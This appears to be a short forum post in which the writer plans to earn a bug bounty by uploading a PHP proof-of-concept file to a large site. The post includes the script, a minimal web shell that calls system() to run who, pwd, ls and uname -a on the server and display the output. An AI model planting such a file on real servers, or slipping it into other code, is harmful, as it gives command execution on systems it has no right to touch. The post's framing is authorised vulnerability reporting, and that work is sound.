I think I don't need nice shell for proof of conception. I create a php file that shows I upload. I want to upload this to facebook or google and get money for finding bug. I will make similar files for asp and js. Then I get a money to buy new roller blades.
PHP Code:
<?php
echo "<h1>proof</h1>";
echo "<h1>who?</h1>";
system("who");
echo "<h2>Current Directory</h2>";
system("pwd");
echo "<h2>Files</h2>";
system("ls");
echo "<h2>Uname</h2>";
system("uname -a");
?>